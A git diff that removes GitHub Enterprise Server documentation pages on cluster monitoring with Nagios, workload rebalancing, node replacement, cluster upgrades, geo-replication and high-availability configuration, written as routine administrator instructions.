sudo chown nagios:nagios /var/lib/nagios/.ssh/id_ed25519 - ``` - -1. To authorize the public key to run _only_ the `ghe-cluster-status -n` command, use a `command=` prefix in the `/data/user/common/authorized_keys` file. From the administrative shell on any node, modify this file to add the public key generated in step 1. For example: `command="/usr/local/bin/ghe-cluster-status -n" ssh-ed25519 AAAA....` - -1. Validate and copy the configuration to each node in the cluster by running `ghe-cluster-config-apply` on the node where you modified the `/data/user/common/authorized_keys` file. - - ```shell - admin@ghe-data-node-0:~$ ghe-cluster-config-apply - > Validating configuration - > ... - > Finished cluster configuration - ``` - -1. To test that the Nagios plugin can successfully execute the command, run it interactively from Nagios host. - - ```shell - nagiosuser@nagios:~$ /usr/lib/nagios/plugins/check_by_ssh -l admin -p 122 -H HOSTNAME -C "ghe-cluster-status -n" -t 30 - > OK - No errors detected - ``` - -1. Create a command definition in your Nagios configuration. - - **Example definition** - - ```text - define command { - command_name check_ssh_ghe_cluster - command_line $USER1$/check_by_ssh -H $HOSTADDRESS$ -C "ghe-cluster-status -n" -l admin -p 122 -t 30 - } - ``` - -1. Add this command to a service definition for a node in the {% data variables.product.prodname_ghe_server %} cluster. - - **Example definition** - - ```text - define host{ - use generic-host - host_name ghe-data-node-0 - alias ghe-data-node-0 - address 10.11.17.180 - } - - define service{ - use generic-service - host_name ghe-data-node-0 - service_description GitHub Cluster Status - check_command check_ssh_ghe_cluster - } - ``` - -After you add the definition to Nagios, the service check executes according to your configuration. You should be able to see the newly configured service in the Nagios web interface. diff --git a/content/admin/monitoring-and-managing-your-instance/configuring-clustering/rebalancing-cluster-workloads.md b/content/admin/monitoring-and-managing-your-instance/configuring-clustering/rebalancing-cluster-workloads.md deleted file mode 100644 index ebc9fff7fc64..000000000000 --- a/content/admin/monitoring-and-managing-your-instance/configuring-clustering/rebalancing-cluster-workloads.md +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: Rebalancing cluster workloads -shortTitle: Rebalance workloads -intro: 'You can force your {% data variables.product.prodname_ghe_server %} cluster to evenly distribute job allocations for workloads on the cluster''s nodes.' -product: '{% data reusables.gated-features.cluster %}' -permissions: 'People with administrative SSH access to a {% data variables.product.prodname_ghe_server %} instance can rebalance cluster workloads on the instance.' -versions: - ghes: '*' -type: how_to -topics: - - Clustering - - Enterprise -redirect_from: - - /admin/enterprise-management/configuring-clustering/rebalancing-cluster-workloads - - /admin/monitoring-managing-and-updating-your-instance/configuring-clustering/rebalancing-cluster-workloads ---- - -## About workload balance for a {% data variables.product.prodname_ghe_server %} cluster - -A {% data variables.product.prodname_ghe_server %} instance in a cluster configuration assigns each task to a node according to the node's role. This assignment is called an allocation. - -If a cluster node is unreachable by other nodes due to a hardware or software failure, your instance creates a new allocation to distribute jobs from the unhealthy node to another node that can handle the workload. In some situations, this distribution does not occur automatically, and a single node may run more jobs than expected. - -You can manage allocations using the `ghe-cluster-balance` utility, which can display the status of existing allocations or force your instance to balance allocations. For example, you should balance allocations after you add a new node to the cluster. Optionally, you can schedule regular balancing. - -You can run the following commands from any node in your cluster using the administrative shell. For more information, see [Accessing the administrative shell (SSH)](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh). - -## Checking the distribution of cluster jobs - -In some cases, such as hardware failure, the underlying software that manages allocations will migrate tasks from the unhealthy node to a healthy node. If the unhealthy node recovers, the task may remain assigned to the recovered node, which can result in unbalanced load. The risk of job failure may increase if allocations are unbalanced and additional nodes fail. You can check the distribution of allocations using the `ghe-cluster-balance status` utility. - -1. To see a list of allocations, run the following command. The utility displays healthy allocations in green. If any jobs are not properly distributed, the utility displays the allocation's count in red. - - ```shell copy - ghe-cluster-balance status - ``` - -1. If a job is not properly distributed, inspect the allocations by running the following command. Replace JOB with a single job or comma-delimited list of jobs. - - ```shell copy - ghe-cluster-balance status -j JOB - ``` - - For example, to see the status of allocations for your instance's HTTP server and authorization service, you can run `ghe-cluster-balance status -j github-unicorn,authzd`. - -## Rebalancing allocations - -After you determine which jobs are unbalanced across your cluster's nodes, you can rebalance allocations using the `ghe-cluster-balance rebalance` utility. The utility checks the distribution of existing jobs. If any jobs are unbalanced, the utility displays the jobs and prompts you to continue. If you continue, the utility creates new allocations to redistribute the jobs. - -1. To perform a dry run and see the result of rebalancing without making changes, run the following command. Replace JOB with a single job or comma-delimited list of jobs. - - ```shell copy - ghe-cluster-balance rebalance --dry-run -j JOB - ``` - - For example, to perform a dry run of rebalancing jobs for your instance's HTTP server and authorization service, you can run `ghe-cluster-balance rebalance --dry-run -j github-unicorn,authzd`. -1. To rebalance, run the following command. Replace JOB with a single job or comma-delimited list of jobs. - - ```shell copy - ghe-cluster-balance rebalance -j JOB - ``` - -## Scheduling allocation rebalancing - -You can schedule rebalancing of jobs on your cluster by setting and applying configuration values for {% data variables.location.product_location %}. - -> [!NOTE] -> Currently, you can only schedule reallocation of jobs for the HTTP server, `github-unicorn`. - -1. To configure automatic, hourly balancing of jobs, run the following command. - - ```shell copy - ghe-config app.cluster-rebalance.enabled true - ``` - -1. Optionally, you can override the default schedule by defining a {% ifversion ghes > 3.13 %}[Systemd.time expression](https://www.freedesktop.org/software/systemd/man/latest/systemd.time.html){% else %}cron expression{% endif %}. For example, run the following command to balance jobs daily. - - ```shell copy - ghe-config app.cluster-rebalance.schedule {% ifversion ghes > 3.13 %}'daily'{% else %}'0 0 * * *'{% endif %} - ``` - -{% data reusables.enterprise.apply-configuration %} - -## Further reading - -* [AUTOTITLE](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-cluster-balance) diff --git a/content/admin/monitoring-and-managing-your-instance/configuring-clustering/replacing-a-cluster-node.md b/content/admin/monitoring-and-managing-your-instance/configuring-clustering/replacing-a-cluster-node.md deleted file mode 100644 index 3cf1bfc10ea0..000000000000 --- a/content/admin/monitoring-and-managing-your-instance/configuring-clustering/replacing-a-cluster-node.md +++ /dev/null @@ -1,259 +0,0 @@ ---- -title: Replacing a cluster node -intro: 'If a node fails in a {% data variables.product.prodname_ghe_server %} cluster, or if you want to add a new node with more resources, mark any nodes to replace as offline, then add the new node.' -product: '{% data reusables.gated-features.cluster %}' -redirect_from: - - /enterprise/admin/clustering/replacing-a-cluster-node - - /enterprise/admin/enterprise-management/replacing-a-cluster-node - - /admin/enterprise-management/replacing-a-cluster-node - - /admin/enterprise-management/configuring-clustering/replacing-a-cluster-node - - /admin/monitoring-managing-and-updating-your-instance/configuring-clustering/replacing-a-cluster-node -versions: - ghes: '*' -type: how_to -topics: - - Clustering - - Enterprise - - Infrastructure ---- - -## About replacement of {% data variables.product.prodname_ghe_server %} cluster nodes - -You can replace a functional node in a {% data variables.product.prodname_ghe_server %} cluster, or you can replace a node that has failed unexpectedly. - -After you replace a node, {% data variables.location.product_location %} does not automatically distribute jobs to the new node. You can force your instance to balance jobs across nodes. For more information, see [AUTOTITLE](/admin/enterprise-management/configuring-clustering/rebalancing-cluster-workloads). - -> [!WARNING] -> To avoid conflicts, do not reuse a hostname that was previously assigned to a node in the cluster. - -## Replacing a functional node - -You can replace an existing, functional node in your cluster. For example, you may want to provide a virtual machine (VM) with additional CPU, memory, or storage resources. - -To replace a functional node, install the {% data variables.product.prodname_ghe_server %} appliance on a new VM, configure an IP address, add the new node to the cluster configuration file, initialize the cluster and apply the configuration, then take the node you replaced offline. - -> [!NOTE] -> If you're replacing the primary database node, see [Replacing the primary database node](#replacing-the-primary-database-node-mysql-or-mysql-and-mssql). - -{% data reusables.enterprise_clustering.replacing-a-cluster-node-provision %} -{% data reusables.enterprise_clustering.replacing-a-cluster-node-admin-configure-ip %} -{% data reusables.enterprise_clustering.replacing-a-cluster-node-modify-cluster-conf %} -{% data reusables.enterprise_clustering.replacing-a-cluster-node-initialize-new-node %} -{% data reusables.enterprise_clustering.replacing-a-cluster-node-config-node %} -{% ifversion cluster-node-removal %} -1. To take the node you're replacing offline, from the primary MySQL node of your cluster, run the following command. - - ```shell - ghe-remove-node NODE-HOSTNAME - ``` - - This command will evacuate data from any data services running on the node, mark the node as offline in your configuration, and stop traffic being routed to the node. For more information, see [AUTOTITLE](/admin/administering-your-instance/administering-your-instance-from-the-command-line/command-line-utilities#ghe-remove-node). -{% else %} -{% data reusables.enterprise_clustering.replacing-a-cluster-node-need-three-nodes %} -{% data reusables.enterprise_clustering.replacing-a-cluster-node-mark-offline %} -{% data reusables.enterprise_clustering.replacing-a-cluster-node-validate-config %} -{% endif %} - -## Replacing a node in an emergency - -You can replace a failed node in your cluster. For example, a software or hardware issue may affect a node's availability. - -> [!NOTE] -> If you're replacing the primary database node, see [Replacing the primary database node](#replacing-the-primary-database-node-mysql-or-mysql-and-mssql). - -{% ifversion cluster-node-removal %} - -To replace a node in an emergency, you'll take the failed node offline, add your replacement node to the cluster, then run commands to remove references to data services on the removed node. - -1. To remove the node that is experiencing issues from the cluster, from the primary MySQL node of your cluster, run the following command. Replace NODE-HOSTNAME with the hostname of the node you're taking offline. - - ```shell - ghe-remove-node --no-evacuate NODE-HOSTNAME - ``` - - This command will mark the node as offline in your configuration and stop traffic being routed to the node. You can run this command in `no-evacuate` mode now because, later in this procedure, you'll run commands that instruct data services on the node to copy any replicas onto the other available nodes in the cluster. For more information, see [AUTOTITLE](/admin/administering-your-instance/administering-your-instance-from-the-command-line/command-line-utilities#ghe-remove-node). -1. Add your replacement node to the cluster. - {% data reusables.enterprise_clustering.replacing-a-cluster-node-provision %} - {% data reusables.enterprise_clustering.replacing-a-cluster-node-admin-configure-ip %} - 1. To add the newly provisioned replacement node, on any node, modify the `cluster.conf` file to add the replacement node. For example, this modified `cluster.conf` file adds the newly provisioned node `ghe-replacement-data-node-3`: - - <pre> - [cluster "<em>ghe-replacement-data-node-3</em>"] - hostname = <em>ghe-replacement-data-node-3</em> - ipv4 = <em>192.168.0.7</em> - # ipv6 = fd12:3456:789a:1::7 - git-server = true - pages-server = true - mysql-server = true - elasticsearch-server = true - redis-server = true - memcache-server = true - metrics-server = true - storage-server = true - </pre> - - {% data reusables.enterprise_clustering.replacing-a-cluster-node-initialize-new-node %} - {% data reusables.enterprise_clustering.replacing-a-cluster-node-config-node %} -1. Remove references to data services on the node you removed. - 1. Find the UUID of the node you removed. To find the UUID, run the following command, replacing `HOSTNAME` with the hostname of the node. You will use this UUID in the next step. - - ```shell - ghe-config cluster.HOSTNAME.uuid - ``` - - 1. To remove references to data services, run the following commands. Replace `UUID` with the UUID of the node. - - These commands indicate to each service that the node is permanently removed. The services will recreate any replicas contained within the node on the available nodes within the cluster. - - > [!NOTE] - > These commands may cause increased load on the server while data is rebalanced across replicas. - - For the `git-server` service (used for repository data): - - ```shell - ghe-spokesctl server destroy git-server-UUID - ``` - - For the `pages-server` service (used for {% data variables.product.prodname_pages %} site builds): - - ```shell - ghe-dpages remove pages-server-UUID - ``` - - For the `storage-server` service (used for Git LFS data, avatar images, file attachments, and release archives): - - ```shell - ghe-storage destroy-host storage-server-UUID --force - ``` - -1. Optionally, delete the entry for the removed node in your `cluster.conf` file. Doing so will keep your `cluster.conf` file organized and save time during future `config-apply` runs. - 1. To remove the entry from the file, run the following command, replacing `HOSTNAME` with the hostname of the removed node. - - ```shell - ghe-config --remove-section "cluster.HOSTNAME" - ``` - - 1. To copy the configuration to other nodes in the cluster, from the administrative shell of the node where you modified `cluster.conf`, run `ghe-cluster-config-apply`. - -{% else %} - -To replace a node in an emergency, install the {% data variables.product.prodname_ghe_server %} appliance on a new VM, configure an IP address, take the failed node offline, apply the configuration, add the new node to the cluster configuration file, initialize the cluster and apply the configuration, and optionally, evacuate the failed node. - -{% data reusables.enterprise_clustering.replacing-a-cluster-node-provision %} -{% data reusables.enterprise_clustering.replacing-a-cluster-node-admin-configure-ip %} -{% data reusables.enterprise_clustering.replacing-a-cluster-node-mark-offline %} -{% data reusables.enterprise_clustering.replacing-a-cluster-node-validate-config %} -{% data reusables.enterprise_clustering.replacing-a-cluster-node-modify-cluster-conf %} -{% data reusables.enterprise_clustering.replacing-a-cluster-node-replacement-name %} -{% data reusables.enterprise_clustering.replacing-a-cluster-node-initialize-new-node %} -{% data reusables.enterprise_clustering.replacing-a-cluster-node-config-node %} -{% data reusables.enterprise_clustering.replacing-a-cluster-node-need-three-nodes %} - -{% endif %} - -## Replacing the primary database node (MySQL or MySQL and MSSQL) - -To provide database services, your cluster requires a primary MySQL node and at least one replica MySQL node. For more information, see [AUTOTITLE](/admin/monitoring-and-managing-your-instance/configuring-clustering/about-cluster-nodes). - -If your cluster has {% data variables.product.prodname_actions %} enabled, you will also need to account for MSSQL in the following steps. - -If you need to allocate more resources to your primary MySQL (or MySQL and MSSQL) node or replace a failed node, you can add a new node to your cluster. To minimize downtime, add the new node, replicate the MySQL (or MySQL and MSSQL) data, and then promote it to the primary node. Some downtime is required during the promotion process. - -{% data reusables.enterprise_clustering.replacing-a-cluster-node-provision %} -{% data reusables.enterprise_clustering.replacing-a-cluster-node-admin-configure-ip %} -{% data reusables.enterprise_installation.ssh-into-cluster-node %} -{% data reusables.enterprise_clustering.open-configuration-file %} -1. {% data reusables.enterprise_clustering.configuration-file-heading %} Add a new heading for the node and enter the key-value pairs for configuration, replacing the placeholders with actual values. - - * Ensure that you include the `mysql-server = true` key-value pair. - * If {% data variables.product.prodname_actions %} is enabled in the cluster, you will have to include the `mssql-server = true` key-value pair as well. - * The following section is an example, and your node's configuration may differ. - - <pre> - ... - [cluster "HOSTNAME"] - hostname = HOSTNAME - ipv4 = IPV4-ADDRESS - # ipv6 = IPV6-ADDRESS - consul-datacenter = PRIMARY-DATACENTER - datacenter = DATACENTER - <strong>mysql-server = true</strong> - redis-server = true - ... - ... - </pre> - -{% data reusables.enterprise_clustering.replacing-a-cluster-node-initialize-new-node %} -1. From the administrative shell of the node where you modified `cluster.conf`, run `ghe-cluster-config-apply`. The newly added node will become a replica MySQL node and any other configured services will run there. - - > [!NOTE] The previous snippet does not assume {% data variables.product.prodname_actions %} is enabled in the cluster. - -1. Wait for MySQL replication to finish. To monitor MySQL replication from any node in the cluster, run `ghe-cluster-status -v`. - - If {% data variables.product.prodname_actions %} is enabled in the cluster, you will have to wait for MSSQL replication to complete. - - Shortly after adding the node to the cluster, you may see an error for replication status while replication catches up. Replication can take hours depending on the instance's load, the amount of database data, and the last time the instance generated a database seed. -1. During your scheduled maintenance window, enable maintenance mode. For more information, see [AUTOTITLE](/admin/administering-your-instance/configuring-maintenance-mode/enabling-and-scheduling-maintenance-mode#enabling-or-disabling-maintenance-mode-for-all-nodes-in-a-cluster-via-the-cli). -1. Ensure that MySQL(or MySQL and MSSQL) replication is finished from any node in the cluster by running `ghe-cluster-status -v`. - - > [!WARNING] - > If you do not wait for MySQL(or MySQL and MSSQL) replication to finish, you risk data loss on your instance. - -1. To set the current MySQL primary node to read-only mode, run the following command from the MySQL primary node. - - ```shell copy - echo "SET GLOBAL super_read_only = 1;" | sudo mysql - ``` - -1. Wait until Global Transaction Identifiers (GTIDs) set on the primary and replica MySQL nodes are identical. To check the GTIDs, run the following command from any cluster node. - - ```shell copy - ghe-cluster-each -r mysql -- 'echo "SELECT @@global.gtid_executed;" | sudo mysql' - ``` - - * To check that the global MySQL variable was set successfully, run the following command. - - ```shell copy - echo "SHOW GLOBAL VARIABLES LIKE 'super_read_only';" | sudo mysql - ``` - -1. If {% data variables.product.prodname_actions %} is enabled in the cluster, SSH into the node that will become the new primary MSSQL node. - - ```shell copy - ssh -p 122 admin@NEW_MSSQL_NODE_HOSTNAME - ``` - - * From within a `screen` session run the following command to promote MSSQL to the new node. - - ```shell copy - /usr/local/share/enterprise/ghe-mssql-repl-promote - ``` - - This will attempt to access the current primary MSSQL node and perform a graceful failover - -1. After the GTIDs on the primary and replica MySQL nodes match, update the cluster configuration by opening the cluster configuration file at `/data/user/common/cluster.conf` in a text editor. - - * Create a backup of the `cluster.conf` file before you edit the file. - * In the top-level `[cluster]` section, remove the hostname for the node you replaced from the `mysql-master` key-value pair, then assign the new node instead. If the new node is also a primary Redis node, adjust the `redis-master` key-value pair. - * If {% data variables.product.prodname_actions %} is enabled in the cluster, you will have to include the `mssql-server = true` key-value pair as well. - - <pre> - [cluster] - <strong>mysql-master = NEW-NODE-HOSTNAME</strong> - redis-master = NEW-NODE-HOSTNAME - primary-datacenter = primary - ... - </pre> - -1. In the administrative shell of the node where you modified `cluster.conf`, start a `screen` session and run `ghe-cluster-config-apply`. This command reconfigures the cluster, promoting the newly added node to the primary MySQL node and converting the original primary MySQL node into a replica. - - > [!NOTE] The previous snippet does not assume {% data variables.product.prodname_actions %} is enabled in the cluster. - -1. Check the status of the MySQL(or MySQL and MSSQL) replication from any node in the cluster by running `ghe-cluster-status -v`. -1. If {% data variables.product.prodname_actions %} is enabled in the cluster, run the following command from the new MySQL and MSSQL node. - - ```shell copy - /usr/local/share/enterprise/ghe-repl-post-failover-mssql - ``` - -1. When the MySQL(or MySQL and MSSQL) replication is finished, from any node in the cluster, disable maintenance mode. See [AUTOTITLE](/admin/administering-your-instance/configuring-maintenance-mode/enabling-and-scheduling-maintenance-mode#enabling-or-disabling-maintenance-mode-for-all-nodes-in-a-cluster-via-the-cli). diff --git a/content/admin/monitoring-and-managing-your-instance/configuring-clustering/upgrading-a-cluster.md b/content/admin/monitoring-and-managing-your-instance/configuring-clustering/upgrading-a-cluster.md deleted file mode 100644 index 613d5553c780..000000000000 --- a/content/admin/monitoring-and-managing-your-instance/configuring-clustering/upgrading-a-cluster.md +++ /dev/null @@ -1,116 +0,0 @@ ---- -title: Upgrading a cluster -intro: 'To upgrade a {% data variables.product.prodname_ghe_server %} cluster to the latest release, use the administrative shell (SSH).' -product: '{% data reusables.gated-features.cluster %}' -redirect_from: - - /enterprise/admin/clustering/upgrading-a-cluster - - /enterprise/admin/enterprise-management/upgrading-a-cluster - - /admin/enterprise-management/upgrading-a-cluster - - /admin/enterprise-management/configuring-clustering/upgrading-a-cluster - - /admin/monitoring-managing-and-updating-your-instance/configuring-clustering/upgrading-a-cluster -versions: - ghes: '*' -type: how_to -topics: - - Clustering - - Enterprise - - Upgrades ---- - -## About upgrades to a {% data variables.product.prodname_ghe_server %} cluster - -{% data reusables.enterprise.about-upgrades %} - -## Upgrading with a hotpatch - -{% data reusables.enterprise_installation.hotpatching-explanation %} The hotpatch installation script installs the hotpatch on every node in the cluster and restarts the services in their proper sequence to avoid downtime. - -1. Back up your data with [{% data variables.product.prodname_enterprise_backup_utilities %}](https://github.com/github/backup-utils#readme). -1. From the administrative shell of any node, use the `ghe-cluster-hotpatch` command to install the latest hotpatch. You can provide a URL for a hotpatch, or manually download the hotpatch and specify a local filename. - - ```shell - ghe-cluster-hotpatch https://HOTPATCH-URL/FILENAME.hpkg - ``` - -## Upgrading with an upgrade package - -Use an upgrade package to upgrade a {% data variables.product.prodname_ghe_server %} cluster to the latest feature release. For example, you can upgrade from `2.11` to `2.13`. - -### Preparing to upgrade - -1. Review [AUTOTITLE](/admin/enterprise-management/configuring-clustering/cluster-network-configuration) for the version you are upgrading to, and update your configuration as needed. -1. Back up your data with [{% data variables.product.prodname_enterprise_backup_utilities %}](https://github.com/github/backup-utils#readme). -1. Schedule a maintenance window for end users of your {% data variables.product.prodname_ghe_server %} cluster, as it will be unavailable for normal use during the upgrade. Maintenance mode blocks user access and prevents data changes while the cluster upgrade is in progress. -1. On the [{% data variables.product.prodname_ghe_server %} Download Page](https://enterprise.github.com/download), copy the URL for the upgrade _.pkg_ file to the clipboard. -1. From the administrative shell of any node, use the `ghe-cluster-each` command combined with `curl` to download the release package to each node in a single step. Use the URL you copied in the previous step as an argument. - - ```shell - $ ghe-cluster-each -- "cd /home/admin && curl -L -O https://PACKAGE-URL.pkg" - > ghe-app-node-1: % Total % Received % Xferd Average Speed Time Time Time Current - > ghe-app-node-1: Dload Upload Total Spent Left Speed - > 100 496M 100 496M 0 0 24.2M 0 0:00:20 0:00:20 --:--:-- 27.4M - > ghe-data-node-2: % Total % Received % Xferd Average Speed Time Time Time Current - > ghe-data-node-2: Dload Upload Total Spent Left Speed - > 100 496M 100 496M 0 0 21.3M 0 0:00:23 0:00:23 --:--:-- 25.8M - > ghe-data-node-1: % Total % Received % Xferd Average Speed Time Time Time Current - > ghe-data-node-1: Dload Upload Total Spent Left Speed - > 100 496M 100 496M 0 0 19.7M 0 0:00:25 0:00:25 --:--:-- 25.6M - > ghe-app-node-2: % Total % Received % Xferd Average Speed Time Time Time Current - > ghe-app-node-2: Dload Upload Total Spent Left Speed - > 100 496M 100 496M 0 0 19.8M 0 0:00:25 0:00:25 --:--:-- 17.6M - > ghe-data-node-3: % Total % Received % Xferd Average Speed Time Time Time Current - > ghe-data-node-3: Dload Upload Total Spent Left Speed - > 100 496M 100 496M 0 0 19.7M 0 0:00:25 0:00:25 --:--:-- 25.5M - ``` - -1. Identify the primary MySQL node, which is defined as `mysql-master = <hostname>` in `cluster.conf`. This node will be upgraded last. - -### Upgrading the cluster nodes - -1. Enable maintenance mode according to your scheduled window by connecting to the administrative shell of any cluster node and running `ghe-cluster-maintenance -s`. -{% ifversion ghes < 3.15 %} -1. If you're upgrading from version 3.11 or 3.12 to version 3.13 or later, Elasticsearch will be upgraded as part of the upgrade to your cluster. For more information, see [AUTOTITLE](/admin/upgrading-your-instance/performing-an-upgrade/preparing-for-the-elasticsearch-upgrade). - - Before upgrading, you will need to run a script to prepare your cluster for an upgrade to 3.13 or 3.14. - 1. Ensure you are running the required patch release for your current version: **3.11.9** or later for 3.11, or **3.12.3** or later for 3.12. - 1. On any `elasticsearch-server` node, run `/usr/local/share/enterprise/ghe-es-auditlog-cluster-rebalance`. -{% endif %} -1. **With the exception of the primary MySQL node**, connect to the administrative shell of each of the {% data variables.product.prodname_ghe_server %} nodes. -Run the `ghe-upgrade` command, providing the package file name you downloaded in step 4 of [Preparing to upgrade](#preparing-to-upgrade): - - ```shell - $ ghe-upgrade PACKAGE-FILENAME.pkg - > *** verifying upgrade package signature... - > 497MB 0:00:04 [ 117MB/s] [==========================================>] 100% - > gpg: Signature made Fri 19 Feb 2016 02:33:50 PM UTC using RSA key ID 0D65D57A - > gpg: checking the trustdb - > gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model - > gpg: depth: 0 valid: 1 signed: 0 trust: 0-, 0q, 0n, 0m, 0f, 1u - > gpg: Good signature from "GitHub Enterprise (Upgrade Package Key) > <enterprise@github.com>" - ``` - -1. The upgrade process will reboot the node once it completes. Verify that you can `ping` each node after it reboots. -1. Connect to the administrative shell of the primary MySQL node. Run the `ghe-upgrade` command, providing the package file name you downloaded in step 4 of [Preparing to upgrade](#preparing-to-upgrade): - - ```shell - $ ghe-upgrade PACKAGE-FILENAME.pkg - > *** verifying upgrade package signature... - > 497MB 0:00:04 [ 117MB/s] [==========================================>] 100% - > gpg: Signature made Fri 19 Feb 2016 02:33:50 PM UTC using RSA key ID 0D65D57A - > gpg: checking the trustdb - > gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model - > gpg: depth: 0 valid: 1 signed: 0 trust: 0-, 0q, 0n, 0m, 0f, 1u - > gpg: Good signature from "GitHub Enterprise (Upgrade Package Key) > <enterprise@github.com>" - ``` - -1. The upgrade process will reboot the primary MySQL node once it completes. Verify that you can `ping` each node after it reboots - - > [!IMPORTANT] Before proceeding with the next step, you must wait for the post-upgrade configuration to complete. To monitor progress of the configuration run, read the output in `/data/user/common/ghe-config.log`. For example, you can tail the log by running the following command: - > - > ```shell - > tail -f /data/user/common/ghe-config.log - > ``` - -1. Connect to the administrative shell of the primary MySQL node and run the `ghe-cluster-config-apply` command. -1. When `ghe-cluster-config-apply` is complete, check that the services are in a healthy state by running `ghe-cluster-status`. -1. Exit maintenance mode from the administrative shell of any node by running `ghe-cluster-maintenance -u`. diff --git a/content/admin/monitoring-and-managing-your-instance/configuring-high-availability/about-geo-replication.md b/content/admin/monitoring-and-managing-your-instance/configuring-high-availability/about-geo-replication.md deleted file mode 100644 index 4f59d5f7c831..000000000000 --- a/content/admin/monitoring-and-managing-your-instance/configuring-high-availability/about-geo-replication.md +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: About geo-replication -intro: 'Geo-replication on {% data variables.product.prodname_ghe_server %} uses multiple active replicas to fulfill requests from geographically distributed data centers.' -redirect_from: - - /enterprise/admin/installation/about-geo-replication - - /enterprise/admin/enterprise-management/about-geo-replication - - /admin/enterprise-management/about-geo-replication - - /admin/enterprise-management/configuring-high-availability/about-geo-replication - - /admin/monitoring-managing-and-updating-your-instance/configuring-high-availability/about-geo-replication -versions: - ghes: '*' -type: overview -topics: - - Enterprise - - High availability ---- -Multiple active replicas can provide a shorter distance to the nearest replica. For example, an organization with offices in San Francisco, New York, and London could run the primary appliance in a datacenter near New York and two replicas in datacenters near San Francisco and London. Using geolocation-aware DNS, users can be directed to the closest server available and access repository data faster. Designating the appliance near New York as the primary helps reduce the latency between the hosts, compared to the appliance near San Francisco being the primary which has a higher latency to London. - -The active replica proxies requests that it can't process itself to the primary instance. The replicas function as a point of presence terminating all SSL connections. Traffic between hosts is sent through an encrypted VPN connection, similar to a two-node high availability configuration without geo-replication. - -Git requests and specific file server requests, such as LFS and file uploads, can be served directly from the replica without loading any data from the primary. Web requests are always routed to the primary, but if the replica is closer to the user the requests are faster due to the closer SSL termination. - -Geo DNS, such as [Amazon's Route 53 service](https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/routing-policy.html#routing-policy-geo), is required for geo-replication to work seamlessly. The hostname for the instance should resolve to the replica that is closest to the user's location. - -## Limitations - -Writing requests to the replica requires sending the data to the primary and all replicas. This means that the performance of all writes is limited by the slowest replica, although new geo-replicas can seed the majority of their data from existing co-located geo-replicas, rather than from the primary. - -{% data reusables.enterprise_clustering.network-latency %} To reduce the latency and bandwidth caused by distributed teams and large CI farms without impacting write throughput, you can configure repository caching instead. For more information, see [AUTOTITLE](/admin/enterprise-management/caching-repositories/about-repository-caching). - -Geo-replication will not add capacity to a {% data variables.product.prodname_ghe_server %} instance or solve performance issues related to insufficient CPU or memory resources. If the primary appliance is offline, active replicas will be unable to serve any read or write requests. - -{% data reusables.enterprise_installation.replica-limit %} - -## Monitoring a geo-replication configuration - -{% data reusables.enterprise_installation.monitoring-replicas %} - -## Further reading - -* [AUTOTITLE](/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica#creating-geo-replication-replicas) diff --git a/content/admin/monitoring-and-managing-your-instance/configuring-high-availability/about-high-availability-configuration.md b/content/admin/monitoring-and-managing-your-instance/configuring-high-availability/about-high-availability-configuration.md deleted file mode 100644 index e58459d9cd76..000000000000 --- a/content/admin/monitoring-and-managing-your-instance/configuring-high-availability/about-high-availability-configuration.md +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: About high availability configuration -intro: 'In a high availability configuration, a fully redundant secondary {% data variables.product.prodname_ghe_server %} appliance is kept in sync with the primary appliance through replication of all major datastores.' -redirect_from: - - /enterprise/admin/installation/about-high-availability-configuration - - /enterprise/admin/enterprise-management/about-high-availability-configuration - - /admin/enterprise-management/about-high-availability-configuration - - /admin/enterprise-management/configuring-high-availability/about-high-availability-configuration - - /admin/monitoring-managing-and-updating-your-instance/configuring-high-availability/about-high-availability-configuration -versions: - ghes: '*' -type: overview -topics: - - Enterprise - - High availability - - Infrastructure -shortTitle: About HA configuration ---- -When you configure high availability, there is an automated setup of one-way, asynchronous replication of all datastores (Git repositories, MySQL, Redis, and Elasticsearch) from the primary to the replica appliance. Most {% data variables.product.prodname_ghe_server %} configuration settings are also replicated, including the {% data variables.enterprise.management_console %} password. For more information, see [AUTOTITLE](/admin/configuration/administering-your-instance-from-the-management-console). - -{% data variables.product.prodname_ghe_server %} supports an active/passive configuration, where replica appliances run as a standby with database services running in replication mode but application services stopped. - -After replication has been established, the {% data variables.enterprise.management_console %} is no longer accessible on replica appliances. If you navigate to a replica's IP address or hostname on port 8443, you'll see a "Server in replication mode" message, which indicates that the appliance is currently configured as a replica. - -Replica appliances do accept Git client requests, and these requests are forwarded to the active appliance. - -{% data reusables.enterprise_installation.replica-limit %} - -## Targeted failure scenarios - -Use a high availability configuration for protection against: - -{% data reusables.enterprise_installation.ha-and-clustering-failure-scenarios %} - -A high availability configuration is not a good solution for: - -* **Scaling-out**. While you can distribute traffic geographically using geo-replication, the performance of writes is limited to the speed and availability of the primary appliance. For more information, see [AUTOTITLE](/admin/enterprise-management/configuring-high-availability/about-geo-replication). -* **CI/CD load**. If you have a large number of CI clients that are geographically distant from your primary instance, you may benefit from configuring a repository cache. For more information, see [AUTOTITLE](/admin/enterprise-management/caching-repositories/about-repository-caching). -* **Backing up your primary appliance**. A high availability replica does not replace off-site backups in your disaster recovery plan. Some forms of data corruption or loss may be replicated immediately from the primary to the replica. To ensure safe rollback to a stable past state, you must perform regular backups with historical snapshots. -* **Zero downtime upgrades**. To prevent data loss and split-brain situations in controlled promotion scenarios, place the primary appliance in maintenance mode and wait for all writes to complete before promoting the replica. - -## Network traffic failover strategies - -During failover, you must separately configure and manage redirecting network traffic from the primary to the replica. - -### DNS failover - -With DNS failover, use short TTL values in the DNS records that point to the primary {% data variables.product.prodname_ghe_server %} appliance. We recommend a TTL between 60 seconds and five minutes. - -During failover, you must place the primary into maintenance mode and redirect its DNS records to the replica appliance's IP address. The time needed to redirect traffic from primary to replica will depend on the TTL configuration and time required to update the DNS records. - -If you are using geo-replication, you must configure Geo DNS to direct traffic to the nearest replica. For more information, see [AUTOTITLE](/admin/enterprise-management/configuring-high-availability/about-geo-replication). - -### Load balancer - -{% data reusables.enterprise_clustering.load_balancer_intro %} {% data reusables.enterprise_clustering.load_balancer_dns %} - -During failover, you must place the primary appliance into maintenance mode. You can configure the load balancer to automatically detect when the replica has been promoted to primary, or it may require a manual configuration change. You must manually promote the replica to primary before it will respond 